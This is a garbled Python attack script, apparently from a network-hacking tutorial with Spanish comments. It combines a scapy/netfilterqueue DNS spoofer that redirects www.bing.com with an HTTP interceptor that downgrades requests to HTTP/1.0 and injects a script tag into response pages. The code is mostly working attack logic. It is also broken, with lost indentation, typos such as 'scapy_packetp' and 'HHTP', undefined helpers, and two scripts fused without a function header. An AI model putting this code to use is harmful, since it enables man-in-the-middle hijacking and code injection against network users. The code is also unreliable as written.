def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "www.bing.com" in qname:
print("[+] Spoofing target")
answer = scapy.DNSRR(rename=qname, rdata="target ip address")
scapy_packet[scapy.DNS].an = answer
scapy_packetp[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.Netfilterqueue()
queue().bind(0, process_packet)
queue.run()
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load
# dport -> destination port asique petición
if scapy_packet[scapy.TCP].dport == 80:
print("HTTP Request")
mod_load = re.sub(ptr_, "", load)
edit_load = set_load(scapy_packet, mod_load)
# en las peticiones, nos aseguramos que la request pide el http
# versión 1.0, por que la versión 1.1 impide la injección de código
edit_load = edit_load.replace('HHTP/1.1', 'HHTP/1.0')
packet.set_payload(str(edit_load))
print(scapy_packet.show())
# sport -> source port asique salida
elif scapy_packet[scapy.TCP].sport == 80:
print("HTTP Response")
str_rpl_when = "</body>"
str_rpl_then = "<script>alert('Hello')</script></body>"
mod_load = load.replace(str_rpl_when, str_rpl_then)
mod_packet = set_load(scapy_packet, mod_load)
# Guardamos el paquete con la nueva peptición
packet.set_payload(str(mod_packet))
print(scapy_packet.show())
packet.accept()
queue = netfilterqueue.Netfilterqueue()
queue.bind(0, catch_packet)
queue.run()
